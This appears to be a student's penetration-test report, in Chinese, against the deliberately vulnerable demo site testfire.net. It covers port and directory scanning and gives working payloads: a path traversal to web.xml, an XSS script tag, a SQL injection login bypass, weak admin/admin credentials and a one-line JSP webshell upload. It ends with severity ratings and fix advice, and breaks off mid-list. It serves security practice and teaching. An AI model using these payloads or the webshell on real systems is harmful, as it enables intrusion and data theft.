www.testfire.nets渗透测试报告
一、测试综述
1.1.测试⽬的
通过实施针对性的渗透测试,发现testfire.net⽹站的安全漏洞,锻炼自己的渗透水平
1.2.测试范围
域名:www.testfire.net
IP:65.61.137.117
测试时间: 2023年11月21日
说明: 本次使用的渗透过程中使用的ip:192.168.85.128
1.3.数据来源
通过漏洞扫描和⼿动分析获取相关数据。
二、测试工具
根据测试的范围,本次渗透测试可能⽤到的相关⼯具列表如下:
(1)在线域名转化IP:在线IP查询工具-支持本机外网,域名_蛙蛙工具 (iamwawa.cn)
(2)Nmap: 进行目标端口的扫描
(3)dirsearch: 进行网站目录的扫描
(4)Burp抓包
三、渗透过程
3.1 信息收集
使用ping命令发现对方的ttl为105 可预知对方的操作系统为windows
使用nmap进行端口扫描 65.61.137.117
我们发现只有80网页端口进行开放,说明我们目前根据这个结果只能进行网页的渗透
根据这点我们使用dirsearch进行网站目录扫描
因为扫出的目录比较多,但很明显存在一个后台登入路径/admin 然后还可能存在一个目录穿越读取文件的漏洞 ,针对这个,我们还是先进入后台
所以说信息收集总结就是:
目标 www.testfire.net 服务器地址:65.61.137.117,开启了80 HTTP、443 HTTPS服务,可能存在后台登入等漏洞
3.2 漏洞挖掘
3.2.1 后台管理员弱口令登入漏洞
我们进入后台发现存在弱口令admin/admin直接可以进入后台
我们成功进入后台后,我们就可以进行下一步的渗透了
3.2.2 index.jsp路径下存在 web.xml配置文件泄露漏洞
首先我们在后台源码发现了如下路径
我们访问看看这个页面然后进行下一步的测试
经过测试,我们发现读取/etc/passwd等重要文件不行,说明网站的防护还是可以的
不过测试发现服务器为服务器信息:windows-Apache Tomcat/7.0.92。
但是经过努力,发现他是直接可以读取web.xml 的网站配置信息
Payload:http://65.61.137.117/index.jsp?content=../WEB-INF/web.xml
通过这个我们得知了配置信息后 可以进行后续的准备更高级的攻击。
3.2.3 search框存在xss漏洞
在search框进行搜索的时候,发现存在xss漏洞
Payload:<script>alert("2100101628xuwenlong")</script>
点击go 输出为 2100101628xuwenlong
通过XSS漏洞,可以获取用户 Cookie 等信息,以实现进一步渗透。如果是存储型XSS,那么还可以通过设置钓鱼登录框,将用户填写的账号、密码表单信息发送到攻击者所指定的网络位置。
3.2.4 反馈页面存在任意文件上传漏洞
我们进入反馈页面 发现能够上传任意文件 如下
我们尝试修改文件内容为一句话 JSP webshell,
木马内容为:
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
然后上传wenda.jsp
发现能够上传 却找不到文件上传的路径,由于是测试网站,甚至怀疑这里并没有做实际的保存工作,而只是返回了结果信息。
3.2.5 登入存在sql注入
Payload:
username:a 'OR 1=1--+
密码 随意
登入成功
以上就是该网站的漏洞挖掘过程
四、漏洞评级
(1)后台弱口令登入管理员漏洞:中危
管理员用户功能不是很多,主要包括可以管理用户(更改管理员密码、创建用户)、信息查询(可以尝试进行SQL注入)、转账功能(此处无二次验证功能,在实际网站中,敏感业务操作设计应引入二次鉴权机制)
(2)index.jsp路径下存在 web.xml配置文件泄露漏洞 :中危
如果文件目录下有更多的敏感信息,那么危害会更大,攻击者根据配置信息,可采用远程攻击网站造成网站的破坏
(3)search框存在xss漏洞: 低危
通过XSS漏洞,可以获取用户 Cookie 等信息,以实现进一步渗透。
如果是存储型XSS,那么还可以通过设置钓鱼登录框,将用户填写的账号、密码表单信息发送到攻击者所指定的网络位置。
(4)反馈页面存在任意文件上传漏洞 : 低危
因为可能是个测试网站,没有文件路径,所以但是还是能上传一句话木马,攻击者可通过一些攻击工具像weblogic实现不需要路径的getshell,来进行提权
(5)登入存在sql注入:高危
用户通过发现注入后可采取sqlmap进行网站的数据库爬取,造成数据的流失
五、修复建议
1.防止SQL注入,最有效的方法就是限制输入、参数化传递 用户提交的数据,显然这里并没有进行有效防护,测试发现登录页面存在SQL注入漏洞
2.后台弱口令应该设置验证码或者强口令登入
3.防止文件路径遍历漏洞的最有效方法是避免将用户提供的输入完全传递给文件系统API。
如果认为不可避免的是将用户提供的输入传递给文件系统API,则应同时使用两层防御,以防止受到攻击:
(1)应用程序应在处理之前验证用户输入。理想情况下,验证应与允许值的白名单进行比较。如果所需的功能无法做到这一点,则验证应验证输入内容仅包含允许的内容,例如纯字母数字字符。
(2)验证提供的输入后,应用程序应将输入附加到基本目录,并使用平台文件系统API规范化路径。验证规范化路径以预期的基本目录开头。
4.修复对web.xml访问权限 可直接删除docs目录和examples目录
5.XSS漏洞修复课采取对输入的数据进行HTML转义,使其不会识别为可执行脚本,和白名单过滤等方法
6.文件上传漏洞给出的修复建议为:
1. 服务器配置:
2. 在服务端对上传文件进行检查:
3. 对于图片文件进行二次渲染、压缩, 避免图片写马。
4. 校验失败后,记录错误日志信息,内容至少包括时间、用户、IP、操作内容、校验失败的